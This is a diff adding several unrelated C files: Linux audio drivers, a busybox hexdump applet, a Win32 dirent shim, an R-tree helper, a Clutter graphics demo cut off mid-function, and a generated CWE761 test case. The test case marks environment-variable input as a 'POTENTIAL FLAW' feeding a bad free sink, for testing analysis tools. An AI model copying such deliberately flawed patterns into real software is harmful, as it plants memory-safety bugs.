index 0000000000000000000000000000000000000000..0248e65043d21d2cb81b079c940b33be89e071b1
--- /dev/null
+++ b/pool/shard001/C/0025386_sound_control.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright 2015 Francisco Franco
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/init.h>
+#include <linux/device.h>
+#include <linux/miscdevice.h>
+
+extern void update_headphones_volume_boost(int vol_boost);
+extern void update_mic_gain(int vol_boost);
+
+/*
+ * Volume boost value
+ */
+int headphones_boost = 0;
+int headphones_boost_limit = 20;
+int headphones_boost_limit_min = -20;
+
+/*
+ * Mic boost value
+ */
+int mic_boost = 0;
+int mic_boost_limit = 20;
+int mic_boost_limit_min = -20;
+
+/*
+ * Sysfs get/set entries
+ */
+
+static ssize_t headphones_boost_show(struct device *dev,
+		struct device_attribute *attr, char *buf)
+{
+	return sprintf(buf, "%d\n", headphones_boost);
+}
+
+static ssize_t headphones_boost_store(struct device *dev,
+		struct device_attribute *attr, const char *buf, size_t size)
+{
+	int new_val;
+
+	sscanf(buf, "%d", &new_val);
+
+	if (new_val != headphones_boost) {
+		if (new_val <= headphones_boost_limit_min)
+			new_val = headphones_boost_limit_min;
+
+		else if (new_val >= headphones_boost_limit)
+			new_val = headphones_boost_limit;
+
+		pr_info("New headphones_boost: %d\n", new_val);
+
+		headphones_boost = new_val;
+		update_headphones_volume_boost(headphones_boost);
+	}
+
+	return size;
+}
+
+static ssize_t mic_boost_show(struct device *dev,
+		struct device_attribute *attr, char *buf)
+{
+	return sprintf(buf, "%d\n", mic_boost);
+}
+
+static ssize_t mic_boost_store(struct device *dev,
+		struct device_attribute *attr, const char *buf, size_t size)
+{
+	int new_val;
+
+	sscanf(buf, "%d", &new_val);
+
+	if (new_val != mic_boost) {
+		if (new_val <= mic_boost_limit_min)
+			new_val = mic_boost_limit_min;
+
+		else if (new_val >= mic_boost_limit)
+			new_val = mic_boost_limit;
+
+		pr_info("New mic_boost: %d\n", new_val);
+
+		mic_boost = new_val;
+		update_mic_gain(mic_boost);
+	}
+
+	return size;
+}
+
+static DEVICE_ATTR(volume_boost, 0664, headphones_boost_show,
+	headphones_boost_store);
+static DEVICE_ATTR(mic_boost, 0664, mic_boost_show, mic_boost_store);
+
+static struct attribute *soundcontrol_attributes[] =
+{
+	&dev_attr_volume_boost.attr,
+	&dev_attr_mic_boost.attr,
+	NULL
+};
+
+static struct attribute_group soundcontrol_group =
+{
+	.attrs  = soundcontrol_attributes,
+};
+
+static struct miscdevice soundcontrol_device =
+{
+	.minor = MISC_DYNAMIC_MINOR,
+	.name = "soundcontrol",
+};
+
+static int __init soundcontrol_init(void)
+{
+	int ret;
+
+	pr_info("%s misc_register(%s)\n", __FUNCTION__,
+		soundcontrol_device.name);
+
+	ret = misc_register(&soundcontrol_device);
+
+	if (ret) {
+		pr_err("%s misc_register(%s) fail\n", __FUNCTION__,
+			soundcontrol_device.name);
+		return -EINVAL;
+	}
+
+	if (sysfs_create_group(&soundcontrol_device.this_device->kobj,
+			&soundcontrol_group) < 0) {
+		pr_err("%s sysfs_create_group fail\n", __FUNCTION__);
+		pr_err("Failed to create sysfs group for device (%s)!\n",
+			soundcontrol_device.name);
+	}
+
+	return 0;
+}
+late_initcall(soundcontrol_init);
diff --git a/pool/shard001/C/0025423_db1200.c b/pool/shard001/C/0025423_db1200.c
new file mode 100644
index 0000000000000000000000000000000000000000..289312c14b99bf62d13355e7ae5e585bf297991f
--- /dev/null
+++ b/pool/shard001/C/0025423_db1200.c
@@ -0,0 +1,151 @@
+/*
+ * DB1200 ASoC audio fabric support code.
+ *
+ * (c) 2008-2011 Manuel Lauss <manuel.lauss@googlemail.com>
+ *
+ */
+
+#include <linux/module.h>
+#include <linux/moduleparam.h>
+#include <linux/timer.h>
+#include <linux/interrupt.h>
+#include <linux/platform_device.h>
+#include <sound/core.h>
+#include <sound/pcm.h>
+#include <sound/soc.h>
+#include <asm/mach-au1x00/au1000.h>
+#include <asm/mach-au1x00/au1xxx_psc.h>
+#include <asm/mach-au1x00/au1xxx_dbdma.h>
+#include <asm/mach-db1x00/bcsr.h>
+
+#include "../codecs/wm8731.h"
+#include "psc.h"
+
+static struct platform_device_id db1200_pids[] = {
+	{
+		.name		= "db1200-ac97",
+		.driver_data	= 0,
+	}, {
+		.name		= "db1200-i2s",
+		.driver_data	= 1,
+	},
+	{},
+};
+
+/*-------------------------  AC97 PART  ---------------------------*/
+
+static struct snd_soc_dai_link db1200_ac97_dai = {
+	.name		= "AC97",
+	.stream_name	= "AC97 HiFi",
+	.codec_dai_name	= "ac97-hifi",
+	.cpu_dai_name	= "au1xpsc_ac97.1",
+	.platform_name	= "au1xpsc-pcm.1",
+	.codec_name	= "ac97-codec.1",
+};
+
+static struct snd_soc_card db1200_ac97_machine = {
+	.name		= "DB1200_AC97",
+	.dai_link	= &db1200_ac97_dai,
+	.num_links	= 1,
+};
+
+/*-------------------------  I2S PART  ---------------------------*/
+
+static int db1200_i2s_startup(struct snd_pcm_substream *substream)
+{
+	struct snd_soc_pcm_runtime *rtd = substream->private_data;
+	struct snd_soc_dai *codec_dai = rtd->codec_dai;
+	struct snd_soc_dai *cpu_dai = rtd->cpu_dai;
+	int ret;
+
+	/* WM8731 has its own 12MHz crystal */
+	snd_soc_dai_set_sysclk(codec_dai, WM8731_SYSCLK_XTAL,
+				12000000, SND_SOC_CLOCK_IN);
+
+	/* codec is bitclock and lrclk master */
+	ret = snd_soc_dai_set_fmt(codec_dai, SND_SOC_DAIFMT_LEFT_J |
+			SND_SOC_DAIFMT_NB_NF | SND_SOC_DAIFMT_CBM_CFM);
+	if (ret < 0)
+		goto out;
+
+	ret = snd_soc_dai_set_fmt(cpu_dai, SND_SOC_DAIFMT_LEFT_J |
+			SND_SOC_DAIFMT_NB_NF | SND_SOC_DAIFMT_CBM_CFM);
+	if (ret < 0)
+		goto out;
+
+	ret = 0;
+out:
+	return ret;
+}
+
+static struct snd_soc_ops db1200_i2s_wm8731_ops = {
+	.startup	= db1200_i2s_startup,
+};
+
+static struct snd_soc_dai_link db1200_i2s_dai = {
+	.name		= "WM8731",
+	.stream_name	= "WM8731 PCM",
+	.codec_dai_name	= "wm8731-hifi",
+	.cpu_dai_name	= "au1xpsc_i2s.1",
+	.platform_name	= "au1xpsc-pcm.1",
+	.codec_name	= "wm8731.0-001b",
+	.ops		= &db1200_i2s_wm8731_ops,
+};
+
+static struct snd_soc_card db1200_i2s_machine = {
+	.name		= "DB1200_I2S",
+	.dai_link	= &db1200_i2s_dai,
+	.num_links	= 1,
+};
+
+/*-------------------------  COMMON PART  ---------------------------*/
+
+static struct snd_soc_card *db1200_cards[] __devinitdata = {
+	&db1200_ac97_machine,
+	&db1200_i2s_machine,
+};
+
+static int __devinit db1200_audio_probe(struct platform_device *pdev)
+{
+	const struct platform_device_id *pid = platform_get_device_id(pdev);
+	struct snd_soc_card *card;
+
+	card = db1200_cards[pid->driver_data];
+	card->dev = &pdev->dev;
+	return snd_soc_register_card(card);
+}
+
+static int __devexit db1200_audio_remove(struct platform_device *pdev)
+{
+	struct snd_soc_card *card = platform_get_drvdata(pdev);
+	snd_soc_unregister_card(card);
+	return 0;
+}
+
+static struct platform_driver db1200_audio_driver = {
+	.driver	= {
+		.name	= "db1200-ac97",
+		.owner	= THIS_MODULE,
+		.pm	= &snd_soc_pm_ops,
+	},
+	.id_table	= db1200_pids,
+	.probe		= db1200_audio_probe,
+	.remove		= __devexit_p(db1200_audio_remove),
+};
+
+static int __init db1200_audio_load(void)
+{
+	return platform_driver_register(&db1200_audio_driver);
+}
+
+static void __exit db1200_audio_unload(void)
+{
+	platform_driver_unregister(&db1200_audio_driver);
+}
+
+module_init(db1200_audio_load);
+module_exit(db1200_audio_unload);
+
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("DB1200 ASoC audio support");
+MODULE_AUTHOR("Manuel Lauss");
diff --git a/pool/shard001/C/0025428_hexdump.c b/pool/shard001/C/0025428_hexdump.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a312f95c64b2e6d6b56b9850749859087db3f00
--- /dev/null
+++ b/pool/shard001/C/0025428_hexdump.c
@@ -0,0 +1,174 @@
+/* vi: set sw=4 ts=4: */
+/*
+ * hexdump implementation for busybox
+ * Based on code from util-linux v 2.11l
+ *
+ * Copyright (c) 1989
+ * The Regents of the University of California.  All rights reserved.
+ *
+ * Licensed under GPLv2 or later, see file LICENSE in this source tree.
+ */
+
+//usage:#define hexdump_trivial_usage
+//usage:       "[-bcCdefnosvx" IF_FEATURE_HEXDUMP_REVERSE("R") "] [FILE]..."
+//usage:#define hexdump_full_usage "\n\n"
+//usage:       "Display FILEs (or stdin) in a user specified format\n"
+//usage:     "\n	-b		One-byte octal display"
+//usage:     "\n	-c		One-byte character display"
+//usage:     "\n	-C		Canonical hex+ASCII, 16 bytes per line"
+//usage:     "\n	-d		Two-byte decimal display"
+//usage:     "\n	-e FORMAT_STRING"
+//usage:     "\n	-f FORMAT_FILE"
+//usage:     "\n	-n LENGTH	Interpret only LENGTH bytes of input"
+//usage:     "\n	-o		Two-byte octal display"
+//usage:     "\n	-s OFFSET	Skip OFFSET bytes"
+//usage:     "\n	-v		Display all input data"
+//usage:     "\n	-x		Two-byte hexadecimal display"
+//usage:	IF_FEATURE_HEXDUMP_REVERSE(
+//usage:     "\n	-R		Reverse of 'hexdump -Cv'")
+//usage:
+//usage:#define hd_trivial_usage
+//usage:       "FILE..."
+//usage:#define hd_full_usage "\n\n"
+//usage:       "hd is an alias for hexdump -C"
+
+#include "libbb.h"
+#include "dump.h"
+
+/* This is a NOEXEC applet. Be very careful! */
+
+static void bb_dump_addfile(dumper_t *dumper, char *name)
+{
+	char *p;
+	FILE *fp;
+	char *buf;
+
+	fp = xfopen_for_read(name);
+	while ((buf = xmalloc_fgetline(fp)) != NULL) {
+		p = skip_whitespace(buf);
+		if (*p && (*p != '#')) {
+			bb_dump_add(dumper, p);
+		}
+		free(buf);
+	}
+	fclose(fp);
+}
+
+static const char *const add_strings[] = {
+	"\"%07.7_ax \" 16/1 \"%03o \" \"\\n\"",   /* b */
+	"\"%07.7_ax \" 16/1 \"%3_c \" \"\\n\"",   /* c */
+	"\"%07.7_ax \" 8/2 \"  %05u \" \"\\n\"",  /* d */
+	"\"%07.7_ax \" 8/2 \" %06o \" \"\\n\"",   /* o */
+	"\"%07.7_ax \" 8/2 \"   %04x \" \"\\n\"", /* x */
+};
+
+static const char add_first[] ALIGN1 = "\"%07.7_Ax\n\"";
+
+static const char hexdump_opts[] ALIGN1 = "bcdoxCe:f:n:s:v" IF_FEATURE_HEXDUMP_REVERSE("R");
+
+static const struct suffix_mult suffixes[] = {
+	{ "b", 512 },
+	{ "k", 1024 },
+	{ "m", 1024*1024 },
+	{ "", 0 }
+};
+
+int hexdump_main(int argc, char **argv) MAIN_EXTERNALLY_VISIBLE;
+int hexdump_main(int argc, char **argv)
+{
+	dumper_t *dumper = alloc_dumper();
+	const char *p;
+	int ch;
+#if ENABLE_FEATURE_HEXDUMP_REVERSE
+	FILE *fp;
+	smallint rdump = 0;
+#endif
+
+	if (ENABLE_HD && !applet_name[2]) { /* we are "hd" */
+		ch = 'C';
+		goto hd_applet;
+	}
+
+	/* We cannot use getopt32: in hexdump options are cumulative.
+	 * E.g. "hexdump -C -C file" should dump each line twice */
+	while ((ch = getopt(argc, argv, hexdump_opts)) > 0) {
+		p = strchr(hexdump_opts, ch);
+		if (!p)
+			bb_show_usage();
+		if ((p - hexdump_opts) < 5) {
+			bb_dump_add(dumper, add_first);
+			bb_dump_add(dumper, add_strings[(int)(p - hexdump_opts)]);
+		}
+		/* Save a little bit of space below by omitting the 'else's. */
+		if (ch == 'C') {
+ hd_applet:
+			bb_dump_add(dumper, "\"%08.8_Ax\n\"");
+			bb_dump_add(dumper, "\"%08.8_ax  \" 8/1 \"%02x \" \"  \" 8/1 \"%02x \" ");
+			bb_dump_add(dumper, "\"  |\" 16/1 \"%_p\" \"|\\n\"");
+		}
+		if (ch == 'e') {
+			bb_dump_add(dumper, optarg);
+		} /* else */
+		if (ch == 'f') {
+			bb_dump_addfile(dumper, optarg);
+		} /* else */
+		if (ch == 'n') {
+			dumper->dump_length = xatoi_positive(optarg);
+		} /* else */
+		if (ch == 's') { /* compat: -s accepts hex numbers too */
+			dumper->dump_skip = xstrtoul_range_sfx(optarg, /*base:*/ 0, /*lo:*/ 0, /*hi:*/ LONG_MAX, suffixes);
+		} /* else */
+		if (ch == 'v') {
+			dumper->dump_vflag = ALL;
+		}
+#if ENABLE_FEATURE_HEXDUMP_REVERSE
+		if (ch == 'R') {
+			rdump = 1;
+		}
+#endif
+	}
+
+	if (!dumper->fshead) {
+		bb_dump_add(dumper, add_first);
+		bb_dump_add(dumper, "\"%07.7_ax \" 8/2 \"%04x \" \"\\n\"");
+	}
+
+	argv += optind;
+
+#if !ENABLE_FEATURE_HEXDUMP_REVERSE
+	return bb_dump_dump(dumper, argv);
+#else
+	if (!rdump) {
+		return bb_dump_dump(dumper, argv);
+	}
+
+	/* -R: reverse of 'hexdump -Cv' */
+	fp = stdin;
+	if (!*argv) {
+		argv--;
+		goto jump_in;
+	}
+
+	do {
+		char *buf;
+		fp = xfopen_for_read(*argv);
+ jump_in:
+		while ((buf = xmalloc_fgetline(fp)) != NULL) {
+			p = buf;
+			while (1) {
+				/* skip address or previous byte */
+				while (isxdigit(*p)) p++;
+				while (*p == ' ') p++;
+				/* '|' char will break the line */
+				if (!isxdigit(*p) || sscanf(p, "%x ", &ch) != 1)
+					break;
+				putchar(ch);
+			}
+			free(buf);
+		}
+		fclose(fp);
+	} while (*++argv);
+
+	fflush_stdout_and_exit(EXIT_SUCCESS);
+#endif
+}
diff --git a/pool/shard001/C/0025429_CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68a.c b/pool/shard001/C/0025429_CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68a.c
new file mode 100644
index 0000000000000000000000000000000000000000..73bf44722e8d2564ced71649c08bda399a6576e4
--- /dev/null
+++ b/pool/shard001/C/0025429_CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68a.c
@@ -0,0 +1,121 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68a.c
+Label Definition File: CWE761_Free_Pointer_Not_at_Start_of_Buffer.label.xml
+Template File: source-sinks-68a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 761 Free Pointer not at Start of Buffer
+ * BadSource: environment Read input from an environment variable
+ * Sinks:
+ *    GoodSink: free() memory correctly at the start of the buffer
+ *    BadSink : free() memory not at the start of the buffer
+ * Flow Variant: 68 Data flow: data passed as a global variable from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#define ENV_VARIABLE "ADD"
+
+#ifdef _WIN32
+#define GETENV getenv
+#else
+#define GETENV getenv
+#endif
+
+#define SEARCH_CHAR 'S'
+
+char * CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_badDataForBadSink;
+
+char * CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_badDataForGoodSink;
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68b_badSink();
+
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_bad()
+{
+    char * data;
+    data = (char *)malloc(100*sizeof(char));
+    if (data == NULL) {exit(-1);}
+    data[0] = '\0';
+    {
+        /* Append input from an environment variable to data */
+        size_t dataLen = strlen(data);
+        char * environment = GETENV(ENV_VARIABLE);
+        /* If there is data in the environment variable */
+        if (environment != NULL)
+        {
+            /* POTENTIAL FLAW: Read data from an environment variable */
+            strncat(data+dataLen, environment, 100-dataLen-1);
+        }
+    }
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_badDataForBadSink = data;
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68b_badSink();
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* good function declarations */
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68b_goodB2GSink();
+
+/* goodB2G uses the BadSource with the GoodSink */
+static void goodB2G()
+{
+    char * data;
+    data = (char *)malloc(100*sizeof(char));
+    if (data == NULL) {exit(-1);}
+    data[0] = '\0';
+    {
+        /* Append input from an environment variable to data */
+        size_t dataLen = strlen(data);
+        char * environment = GETENV(ENV_VARIABLE);
+        /* If there is data in the environment variable */
+        if (environment != NULL)
+        {
+            /* POTENTIAL FLAW: Read data from an environment variable */
+            strncat(data+dataLen, environment, 100-dataLen-1);
+        }
+    }
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_badDataForGoodSink = data;
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68b_goodB2GSink();
+}
+
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_good()
+{
+    goodB2G();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+   its own for testing or for building a binary to use in testing binary
+   analysis tools. It is not used when compiling all the testcases as one
+   application, which is how source code analysis tools are tested. */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_environment_68_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0025432_card.c b/pool/shard001/C/0025432_card.c
new file mode 100644
index 0000000000000000000000000000000000000000..578c7ff3175e30d1b75ae85c195327cce653a7f4
--- /dev/null
+++ b/pool/shard001/C/0025432_card.c
@@ -0,0 +1,19 @@
+
+#include "rtree/index.h"
+#include "rtree/card.h"
+
+int NODECARD = MAXCARD;
+int LEAFCARD = MAXCARD;
+
+static int set_max(int *which, int new_max)
+{
+	if(2 > new_max || new_max > MAXCARD)
+		return 0;
+	*which = new_max;
+	return 1;
+}
+
+int RTreeSetNodeMax(int new_max) { return set_max(&NODECARD, new_max); }
+int RTreeSetLeafMax(int new_max) { return set_max(&LEAFCARD, new_max); }
+int RTreeGetNodeMax() { return NODECARD; }
+int RTreeGetLeafMax() { return LEAFCARD; }
diff --git a/pool/shard001/C/0025438_dirent.c b/pool/shard001/C/0025438_dirent.c
new file mode 100644
index 0000000000000000000000000000000000000000..db72f39d37bfd72a1b72ece3fdca85afdca31a3d
--- /dev/null
+++ b/pool/shard001/C/0025438_dirent.c
@@ -0,0 +1,231 @@
+/*
+
+    Implementation of POSIX directory browsing functions and types for Win32.
+
+    Author:  Kevlin Henney (kevlin@acm.org, kevlin@curbralan.com)
+    History: Created March 1997. Updated June 2003.
+    Rights:  See end of file.
+
+*/
+
+#include "dirent.h"
+#include <errno.h>
+#include <io.h> /* _findfirst and _findnext set errno iff they return -1 */
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+
+struct DIR
+{
+    long                handle; /* -1 for failed rewind */
+    struct _finddata_t  info;
+    struct dirent       result; /* d_name null iff first time */
+    char                *name;  /* null-terminated char string */
+};
+
+DIR *opendir(const char *name)
+{
+    DIR *dir = 0;
+
+    if(name && name[0])
+    {
+        size_t base_length = strlen(name);
+        const char *all = /* search pattern must end with suitable wildcard */
+            strchr("/\\", name[base_length - 1]) ? "*" : "/*";
+
+        if((dir = (DIR *) malloc(sizeof *dir)) != 0 &&
+           (dir->name = (char *) malloc(base_length + strlen(all) + 1)) != 0)
+        {
+            strcat(strcpy(dir->name, name), all);
+
+            if((dir->handle = (long) _findfirst(dir->name, &dir->info)) != -1)
+            {
+                dir->result.d_name = 0;
+            }
+            else /* rollback */
+            {
+                free(dir->name);
+                free(dir);
+                dir = 0;
+            }
+        }
+        else /* rollback */
+        {
+            free(dir);
+            dir   = 0;
+            errno = ENOMEM;
+        }
+    }
+    else
+    {
+        errno = EINVAL;
+    }
+
+    return dir;
+}
+
+int closedir(DIR *dir)
+{
+    int result = -1;
+
+    if(dir)
+    {
+        if(dir->handle != -1)
+        {
+            result = _findclose(dir->handle);
+        }
+
+        free(dir->name);
+        free(dir);
+    }
+
+    if(result == -1) /* map all errors to EBADF */
+    {
+        errno = EBADF;
+    }
+
+    return result;
+}
+
+struct dirent *readdir(DIR *dir)
+{
+    struct dirent *result = 0;
+
+    if(dir && dir->handle != -1)
+    {
+        if(!dir->result.d_name || _findnext(dir->handle, &dir->info) != -1)
+        {
+            result         = &dir->result;
+            result->d_name = dir->info.name;
+        }
+    }
+    else
+    {
+        errno = EBADF;
+    }
+
+    return result;
+}
+
+void rewinddir(DIR *dir)
+{
+    if(dir && dir->handle != -1)
+    {
+        _findclose(dir->handle);
+        dir->handle = (long) _findfirst(dir->name, &dir->info);
+        dir->result.d_name = 0;
+    }
+    else
+    {
+        errno = EBADF;
+    }
+}
+
+// helper for scandir below
+static void scandir_free_dir_entries(struct dirent*** namelist, int entries) {
+	int i;
+	if (!*namelist) return;
+	for (i = 0; i < entries; ++i) {
+		free((*namelist)[i]);
+	}
+	free(*namelist);
+	*namelist = 0;
+}
+
+// returns the number of directory entries select or -1 if an error occurs
+int scandir(
+	const char* dir,
+	struct dirent*** namelist,
+	int(*filter)(const struct dirent*),
+	int(*compar)(const void*, const void*)
+) {
+	int entries = 0;
+	int max_entries = 1024; // assume 2*512 = 1024 entries (used for allocation)
+	DIR* d;
+
+	*namelist = 0;
+
+	// open directory
+	d = opendir(dir);
+	if (!d) return -1;
+
+	// iterate
+	while (1) {
+		struct dirent* ent = readdir(d);
+		if (!ent) break;
+
+		// add if no filter or filter returns non-zero
+		if (filter && (0 == filter(ent))) continue;
+
+		// resize our buffer if there is not enough room
+		if (!*namelist || entries >= max_entries) {
+			struct dirent** new_entries;
+
+			max_entries *= 2;
+			new_entries = (struct dirent **)realloc(*namelist, max_entries);
+			if (!new_entries) {
+				scandir_free_dir_entries(namelist, entries);
+				closedir(d);
+				errno = ENOMEM;
+				return -1;
+			}
+
+			*namelist = new_entries;
+		}
+
+		// allocate new entry
+		(*namelist)[entries] = (struct dirent *)malloc(sizeof(struct dirent) + strlen(ent->d_name) + 1);
+		if (!(*namelist)[entries]) {
+			scandir_free_dir_entries(namelist, entries);
+			closedir(d);
+			errno = ENOMEM;
+			return -1;
+		}
+
+		// copy entry info
+		*(*namelist)[entries] = *ent;
+
+		// and then we tack the string onto the end
+		{
+			char* dest = (char*)((*namelist)[entries]) + sizeof(struct dirent);
+			strcpy(dest, ent->d_name);
+			(*namelist)[entries]->d_name = dest;
+		}
+
+		++entries;
+	}
+
+	// sort
+	if (*namelist && compar) qsort(*namelist, entries, sizeof((*namelist)[0]), compar);
+
+	return entries;
+}
+
+int alphasort(const void* lhs, const void* rhs) {
+	const struct dirent* lhs_ent = *(struct dirent**)lhs;
+	const struct dirent* rhs_ent = *(struct dirent**)rhs;
+	return _strcmpi(lhs_ent->d_name, rhs_ent->d_name);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/*
+
+    Copyright Kevlin Henney, 1997, 2003. All rights reserved.
+
+    Permission to use, copy, modify, and distribute this software and its
+    documentation for any purpose is hereby granted without fee, provided
+    that this copyright and permissions notice appear in all copies and
+    derivatives.
+
+    This software is supplied "as is" without express or implied warranty.
+
+    But that said, if there are any problems please get in touch.
+
+*/
diff --git a/pool/shard001/C/0025441_test-cairo-flowers.c b/pool/shard001/C/0025441_test-cairo-flowers.c
new file mode 100644
index 0000000000000000000000000000000000000000..b2c0352cb6d37e7ec56b4fd178a7503aae6b1456
--- /dev/null
+++ b/pool/shard001/C/0025441_test-cairo-flowers.c
@@ -0,0 +1,225 @@
+/*
+ * Pretty cairo flower hack.
+ */
+
+#undef CLUTTER_DISABLE_DEPRECATED
+#include <clutter/clutter.h>
+
+#ifndef _MSC_VER
+#include <unistd.h> 		/* for sleep(), used for screenshots */
+#endif
+#include <stdlib.h>
+#ifdef _MSC_VER
+#define _USE_MATH_DEFINES
+#endif
+#include <math.h>
+
+#define PETAL_MIN 20
+#define PETAL_VAR 40
+#define N_FLOWERS 40 /* reduce if you have a small card */
+
+typedef struct Flower
+{
+  ClutterActor *ctex;
+  gint          x,y,rot,v,rv;
+}
+Flower;
+
+ClutterActor*
+make_flower_actor (void)
+{
+  /* No science here, just a hack from toying */
+  gint i, j;
+
+  double colors[] = {
+    0.71, 0.81, 0.83,
+    1.0,  0.78, 0.57,
+    0.64, 0.30, 0.35,
+    0.73, 0.40, 0.39,
+    0.91, 0.56, 0.64,
+    0.70, 0.47, 0.45,
+    0.92, 0.75, 0.60,
+    0.82, 0.86, 0.85,
+    0.51, 0.56, 0.67,
+    1.0, 0.79, 0.58,
+
+  };
+
+  gint size;
+  gint petal_size;
+  gint n_groups;    /* Num groups of petals 1-3 */
+  gint n_petals;    /* num of petals 4 - 8  */
+  gint pm1, pm2;
+
+  gint idx, last_idx = -1;
+
+  ClutterActor *ctex;
+  cairo_t      *cr;
+
+  petal_size = PETAL_MIN + rand() % PETAL_VAR;
+  size = petal_size * 8;
+
+  n_groups = rand() % 3 + 1;
+
+  ctex = clutter_cairo_texture_new (size, size);
+
+  cr = clutter_cairo_texture_create (CLUTTER_CAIRO_TEXTURE (ctex));
+
+  cairo_set_tolerance (cr, 0.1);
+
+  /* Clear */
+  cairo_set_operator (cr, CAIRO_OPERATOR_CLEAR);
+  cairo_paint(cr);
+  cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
+
+  cairo_translate(cr, size/2, size/2);
+
+  for (i=0; i<n_groups; i++)
+    {
+      n_petals = rand() % 5 + 4;
+      cairo_save (cr);
+
+      cairo_rotate (cr, rand() % 6);
+
+      do {
+	idx = (rand() % (sizeof (colors) / sizeof (double) / 3)) * 3;
+      } while (idx == last_idx);
+
+      cairo_set_source_rgba (cr, colors[idx], colors[idx+1],
+			     colors[idx+2], 0.5);
+
+      last_idx = idx;
+
+      /* some bezier randomness */
+      pm1 = rand() % 20;
+      pm2 = rand() % 4;
+
+      for (j=1; j<n_petals+1; j++)
+	{
+	  cairo_save (cr);
+	  cairo_rotate (cr, ((2*M_PI)/n_petals)*j);
+
+	  /* Petals are made up beziers */
+	  cairo_new_path (cr);
+	  cairo_move_to (cr, 0, 0);
+	  cairo_rel_curve_to (cr,
+			      petal_size, petal_size,
+			      (pm2+2)*petal_size, petal_size,
+			      (2*petal_size) + pm1, 0);
+	  cairo_rel_curve_to (cr,
+			      0 + (pm2*petal_size), -petal_size,
+			      -petal_size, -petal_size,
+			      -((2*petal_size) + pm1), 0);
+	  cairo_close_path (cr);
+	  cairo_fill (cr);
+	  cairo_restore (cr);
+	}
+
+      petal_size -= rand() % (size/8);
+
+      cairo_restore (cr);
+    }
+
+  /* Finally draw flower center */
+  do {
+      idx = (rand() % (sizeof (colors) / sizeof (double) / 3)) * 3;
+  } while (idx == last_idx);
+
+  if (petal_size < 0)
+    petal_size = rand() % 10;
+
+  cairo_set_source_rgba (cr, colors[idx], colors[idx+1], colors[idx+2], 0.5);
+
+  cairo_arc(cr, 0, 0, petal_size, 0, M_PI * 2);
+  cairo_fill(cr);
+
+  cairo_destroy(cr);
+
+  return ctex;
+}
+
+static void
+tick (ClutterTimeline *timeline,
+      gint             msecs,
+      gpointer         data)
+{
+  Flower **flowers = (Flower**)data;
+  gint i = 0;
+
+  for (i = 0; i < N_FLOWERS; i++)
+    {
+      ClutterActor *stage;
+
+      flowers[i]->y   += flowers[i]->v;
+      flowers[i]->rot += flowers[i]->rv;
+
+      stage = clutter_stage_get_default ();
+      if (flowers[i]->y > (gint) clutter_actor_get_height (stage))
+        flowers[i]->y = -clutter_actor_get_height (flowers[i]->ctex);
+
+      clutter_actor_set_position (flowers[i]->ctex,
+				  flowers[i]->x, flowers[i]->y);
+
+      clutter_actor_set_rotation (flowers[i]->ctex,
+                                  CLUTTER_Z_AXIS,
+                                  flowers[i]->rot,
+                                  clutter_actor_get_width (flowers[i]->ctex)/2,
+                                  clutter_actor_get_height (flowers[i]->ctex)/2,
+                                  0);
+    }
+}
+
+int
+test_cairo_flowers_main (int argc, char **argv)
+{
+  int              i;
+  ClutterActor    *stage;
+  ClutterColor     stage_color = { 0x0, 0x0, 0x0, 0xff };
+  ClutterTimeline *timeline;
+  Flower          *flowers[N_FLOWERS];
+
+  srand (time (NULL));
+
+  if (clutter_init (&argc, &argv) != CLUTTER_INIT_SUCCESS)
+    return 1;
+
+  stage = clutter_stage_get_default ();
+
+  clutter_stage_set_color (CLUTTER_STAGE (stage), &stage_color);
+
+  for (i=0; i< N_FLOWERS; i++)
+    {
+      flowers[i]       = g_new0(Flower, 1);
+      flowers[i]->ctex = make_flower_actor();
+      flowers[i]->x    = rand() % (int) clutter_actor_get_width (stage)
+                       - (PETAL_MIN + PETAL_VAR) * 2;
+      flowers[i]->y    = rand() % (int) clutter_actor_get_height (stage);
+      flowers[i]->rv   = rand() % 5 + 1;
+      flowers[i]->v    = rand() % 10 + 2;
+
+      clutter_container_add_actor (CLUTTER_CONTAINER (stage),
+                                   flowers[i]->ctex);
+      clutter_actor_set_position (flowers[i]->ctex,
+				  flowers[i]->x, flowers[i]->y);
+    }
+
+  /* Create a timeline to manage animation */
+  timeline = clutter_timeline_new (6000);
